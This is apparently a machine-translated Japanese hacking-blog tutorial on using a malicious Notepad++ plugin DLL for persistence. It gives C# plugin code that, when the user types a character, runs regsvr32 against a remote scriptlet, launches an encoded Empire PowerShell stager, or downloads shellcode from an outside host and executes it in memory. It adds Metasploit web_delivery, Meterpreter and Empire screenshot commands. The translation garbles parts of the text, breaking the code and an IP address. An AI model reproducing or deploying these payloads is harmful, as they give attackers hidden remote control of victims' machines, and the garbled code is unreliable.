Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86386294

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00序文

Notepad ++は、プラグインモードに拡張機能を備えた人気のあるWindowsテキストエディターです。 Windows環境、特に開発者やITスタッフのホストでは珍しいことではありません。 Redチーム担当者に重要な情報のコレクションを提供することに加えて、リモートコマンドからロードまたはスクリプトを使用するプラグインを使用して、許可メンテナンスとして使用することもできます。

0x01基本メッセージボックスの例

Notepad ++プラグインを使用して、メモ帳++の機能を拡張できます。デフォルトでは、ユーザーはNotepad ++信頼できるプラグインのリストに必要なプラグインをインストールできますが、検証なしでカスタムプラグインをインストールすることもでき、開発者が拡張可能なテキストエディターを使用する柔軟性を提供できます。プラグインはDLLファイルの形式です。カスタムプラグインをインストールするには、DLLを%プログラムファイル%\ Notepad ++ \ Plugins \ PluginName \ PluginName.dllに配置するだけです。

利点は、プラグインを読み込んだりアクティブにしても、ユーザーとの対話を必要としないことです。欠点は、地元の管理者の許可をディレクトリに書き込む必要があることです。1049983-20220901183526407-539078844.pngプラグインをロードするには、フォルダー名とDLLファイル名が同じである必要があることに注意する必要があります。 Notepad ++プラグインパッケージを変更テンプレートとして使用できるため、Redチームの担当者の場合、悪意のあるプラグインをゼロから書く必要はありません。特定のイベントが発生すると、アクションを実行するために使用できるいくつかのAPIがあります。 SCI_ADDTEXTAPI NotePad ++で文字を入力するときにカスタムコマンドをトリガーします。次の例では、文字が挿入されるとメッセージボックスがポップアップします。

https://github.com/kbilsted/notepadpluspluginpack.net/blob/master/visual%20studio%20projed%20template%20c%23/main.csを使用できます

.NETテンプレートを使用して、紹介の下でコードを変更します

1049983-20220901183527259-2121246731.pngの変更されたコードは次のとおりです。クラスmain {static bool executeOnce=true; public static void onnotification(scnotification notification){if(notification.header.code==(uint)scimsg.sci_addtext executeonce){messagebox.show( 'notepad ++ -visk https://pentestlab.blog'); executeOnce=!executeOnce; }}

または:class main {static bool firstrun=true; public static void onnotification(scnotification notification){if(notification.header.code==(uint)scimsg.sci_addtext firstrun){var process=process.getCurrentProcess(); messagebox.show($ 'hello from {process.processname}({process.id})。'); firstrun=!firstrun; }} g203alcbe4p4612.pngNotepad ++プラグインメッセージボックスの挿入例コンパイルコードは、スーパー管理者の特権で実行する必要があるDLLファイルを生成します。

dir 'c: \ program files \ notepad ++ \ plugins \ pentestlab' s5gqqxija5z4613.pngNotepad ++プラグインの場所NotePad ++を開始してキャラクターを入力すると、メッセージボックスがポップアップします。

mqvh3kyzxcy4614.png Notepad ++実行に正常に

0x02 msfリバウンド例

ファイヤーレスペイロードを実行して、通信チャネルを確立することもできます。ここでは、Windows Regsvr32バイナリを使用して、リモートの場所から実行スクリプトをロードできます。 MetaSploitフレームワークは、Web配信モジュールを介したこの利用をサポートしています。

Exploit/Multi/Script/Web_Deliveryを使用します

ターゲット2を設定します

ペイロードWindows/x64/meterpreter/reverse_tcpを設定します

LHOST 10.0.0.3を設定します

LPORT 4444を設定します

実行することは、必要なパラメーターを使用してコマンドをわずかに変更してregsvr32を実行できます

classmain {staticboolfirstrun=true; publicstaticVoidonnotification(scnotification notification){if(notification.header.code==(uint)scimsg.sci_addtext firstrun){stringstrcmdtext; strcmdtext=' /s /s /u /i:http://10.0.0.8080/nhicvfz6n.sctscrobj.dll';process.start('regsvr32 '、strcmdtext); firstrun=!firstrun;}}新しい文字がメモ帳++に入力されます。コマンドを実行するイベントがトリガーされます

sy34y03n5nd4615.png Notepad ++ Persistence Trigger MeterPreterは、セッション監視を実行し、通信チャネルを確立します。

bqhg14efxaz4616.pngNotepad ++ regsvr32メータープレターターゲットホストとの相互作用を開始するために、次のコマンドを実行します

セッション

セッション-I 1

PWD

GetUid rldtt2ak4co4618.pngNotepad ++ MeterPreter Shell

0x03帝国リバウンドシェルの例

同様の方法で、Empire C2を使用してさまざまなステーガーファイルを生成できます。これらのファイルには通常、PowerShellプロセスで実行できるBase64コマンドが含まれています。以下は、例としてステイガーの方法です。

UseStager Windows/Launcher_SCT k515hns3ssp4619.pngEmpire Stager Module Stagerは、帝国で実行されたリスナーを指す必要があり、コマンドを実行すると、ファイルが「Generated-Stagers」フォルダーに書き込みます。

リスナーhttpを設定します

dob2ckhix5k4620.pngEMPIREを実行- ステージャーの構成と生成生成されたランチャー.sctファイルをターゲットシステムにアップロードし、regsvr32コマンドを介して実行するか、lavinger.sctファイルに生成されたbase64をコピーして、このコマンドを内部的に使用してソフトウェアを避けることができます。

34akzm12uep4621.png Empire - Powershell base64ペイロードサンプルコード:classmain {static bool executeonce=true; publicstaticVoidonnotification(scnotification notification){if(notification.header.code==(uint)scimsg.sci_addtext firstrun) -w -l enc base64コマンド実行コード '; process.start(' powershell '、strcmdtext); executeonce=!executeOnce;}} r25r502zgma4623.pngNotepad ++ - プラグインは、コマンドが帝国のスタージャーによってトリガーされた後、エンパイアに新しい相互作用が表示されます。

エージェントr4dyyr13eau4624.png Notepad ++ Empirempireモジュールのコマンドには、ホストデスクトップのスクリーンショットや、ユーザー名、接続文字列、URLなどの情報などの情報収集機能も搭載できます。

usemodule powershell/collection/screenshot

エージェントメモ帳を設定します

vnuj4ogqqvb4625.png Notepad ++ Empire Screenshot 1auokp1lmbd4626.pngNotepad ++スクリーンショット

0x04コバルトスタッチリバウンドシェルの例

メッセージボックスをシェルコードに置き換えて、cobasltsikeを介してロードすると、コードは次のとおりです。

if(notification.header.code==(uint)scimsg.sci_addtext firstrun)

{

var client=new WebClient()を使用しています。

var buf=client.downloaddata( 'http://172.19.215.47/shellcode');

var hmemory=virtualAlloc(

intptr.zero、

(uint)buf.length、

AllocationType.Reserve | allocationType.commit、

MemoryProtection.readWrite);

Marshal.Copy(buf、0、hmemory、buf.length);

_=VirtualProtect(

hmemory、

(uint)buf.length、

MemoryProtection.executeread、

外_);

_=createThread(

intptr.zero、

0、

hmemory、

intptr.zero、

0、

外_);

firstrun=!firstrun;

}

eigcyy3brjx4627.png

0x05要約

この許可永続性手法の不利な点の1つは、ユーザーが文字を入力する必要があるため、リバウンドシェルを頻繁に受信しないことであることに注意する必要があります。